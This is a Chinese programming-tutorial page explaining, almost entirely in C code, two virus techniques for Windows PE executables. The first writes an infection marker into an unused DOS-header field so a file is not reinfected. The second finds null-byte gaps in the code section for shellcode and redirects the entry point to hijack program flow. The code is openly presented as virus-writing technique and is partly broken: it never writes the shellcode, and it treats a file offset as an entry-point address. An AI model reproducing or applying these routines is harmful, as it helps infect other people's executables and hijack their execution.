zl程序教程

您现在的位置是:首页 >  其他

当前栏目

C/C++ 感染标志与空字节感染

2023-02-18 16:46:24 时间

C/C++ 通过搜索PE结构中的空隙部分,对指定文件写入感染标志,作用是,如果程序被感染过则不再继续感染,而搜索空字节,则是要将恶意代码动态的填充到可执行文件中,并劫持执行流,以下代码就是这两种代码的具体实现方式。

设置文件感染标志: PE文件中有很多字段并没有使用到,我们可以在内部写入参数,实现检查是否被感染.

#include <stdio.h>
#include <stddef.h>
#include <windows.h>
#define VIRUSFLAGS 0xCCCC

// 向指定文件写入感染标志
BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
	DWORD dwNum = 0;
	SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
	WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, NULL);
	return TRUE;
}
// 检查文件是否被感染
BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
	DWORD dwSigNum = 0;
	DWORD dwNum = 0;
	SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
	ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, NULL);

	if (dwSigNum == dwSig)
		return TRUE;
	return FALSE;
}

int main(int argc, char* argv[])
{
	HANDLE hFile,hMap = NULL;
	LPVOID lpBase = NULL;

	hFile = CreateFile("c://1.exe",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
	hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
	lpBase = MapViewOfFile(hMap,FILE_MAP_READ | FILE_MAP_WRITE,0,0,0);

	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
	PIMAGE_NT_HEADERS pNtHeader = NULL;
	PIMAGE_SECTION_HEADER pSec = NULL;
	IMAGE_SECTION_HEADER imgSec = { 0 };

	if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
	{
		printf("文件非可执行文件 \n");
		return -1;
	}
	pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
	// 写入感染标志
	WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile);

	system("pause");
	return 0;
}

空字节搜索与感染: 找到可执行文件中的空域字节,并进行写入跳转命令,劫持程序流。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>

// \xb8\x90\x90\x90\x90 => mov eax,90909090
// \xff\xe0\x00 => jmp eax
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";

// 缝隙的搜索从代码节的末尾开始搜索,有利于快速搜索到缝隙
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{
	// 跳过可选头长度的数据
	PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)
		(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));

	// 获取到文件末尾的位置
	DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
	dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;

	LPVOID lp = malloc(sizeof(shellcode));
	memset(lp, 0, sizeof(shellcode));

	while (dwAddr > pSec->Misc.VirtualSize)
	{
		int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
		if (nRet == 0)
			return dwAddr;
		dwAddr--;
	}
	free(lp);
	return 0;
}

int main(int argc, char* argv[])
{
	HANDLE hFile,hMap = NULL;
	LPVOID lpBase = NULL;

	hFile = CreateFile("c://1.exe",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
	hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
	lpBase = MapViewOfFile(hMap,FILE_MAP_READ | FILE_MAP_WRITE,0,0,0);

	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
	PIMAGE_NT_HEADERS pNtHeader = NULL;
	PIMAGE_SECTION_HEADER pSec = NULL;
	IMAGE_SECTION_HEADER imgSec = { 0 };

	pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
	DWORD dwAddr = FindSpace(lpBase, pNtHeader);

	pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
	UnmapViewOfFile(lpBase);
	CloseHandle(hMap);
	CloseHandle(hFile);

	system("pause");
	return 0;
}